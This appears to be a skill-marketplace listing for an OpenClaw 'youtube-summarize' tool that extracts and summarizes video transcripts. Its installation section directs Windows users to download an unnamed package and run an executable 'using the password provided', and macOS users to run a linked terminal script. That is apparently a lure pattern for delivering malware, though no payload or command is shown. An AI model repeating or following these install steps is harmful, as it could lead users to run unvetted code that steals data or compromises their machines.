youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Efficiently extract and summarize YouTube video transcripts using OpenClaw. Save time by getting key insights from long-form video content without watching them.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-3hazyWhat This Skill Does
The youtube-summarize skill is a powerful utility designed to transform lengthy YouTube video content into concise, actionable text summaries. By leveraging the industry-standard yt-dlp tool in conjunction with the openclaw-agent utility, this skill automates the extraction, cleaning, and formatting of video transcripts. Whether you are dealing with technical tutorials, long-form podcasts, or educational lectures, this agent bridge allows you to extract key takeaways, identify critical arguments, and perform deep-dive content analysis without needing to commit time to watching the entire video. It handles both auto-generated and manual subtitles, converting raw VTT files into clean, readable text ready for analysis by your LLM of choice.
Installation
Installation is a two-step process requiring both the core agent utility and the Python dependency. First, ensure the openclaw-agent is operational on your machine: for Windows users, download the package and run the executable using the password provided. macOS users should utilize the terminal script linked in the documentation to ensure environment compatibility. Once the agent bridge is active, you must install yt-dlp via your terminal using pip install yt-dlp. Once these prerequisites are met, install the specific skill from the OpenClaw repository using: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-3hazy.
Use Cases
- Academic Research: Rapidly digest educational lectures to identify key concepts and lecture notes without full-length playback.
- Content Curation: Extract summaries from hours of industry podcasts or webinars to create briefing documents or newsletters.
- Technical Learning: Quickly parse through complex coding tutorials to locate specific troubleshooting steps or command-line syntax.
- Market Analysis: Analyze competitor marketing videos or product demos to extract feature lists and value propositions.
Example Prompts
- "Summarize the following YouTube video into a 5-bullet point list of key takeaways: [URL]"
- "Extract the transcript from this video and identify any specific commands or code snippets mentioned: [URL]"
- "Can you provide a detailed summary of this lecture and explain the speaker's main argument regarding AI safety? [URL]"
Tips & Limitations
To ensure optimal results, always verify that the video has captions enabled (either auto-generated or manual), as the tool relies on these existing data streams. The quality of the summary is heavily dependent on the clarity of the audio and the accuracy of YouTube's transcription engine. If a video is long or lacks clear speech, the summary may require further manual refinement. Always ensure your system environment is correctly configured to allow the agent to read and write temporary transcript files to your local directory.
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{
"plugins": {
"official-hightower6eu-youtube-summarize-3hazy": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
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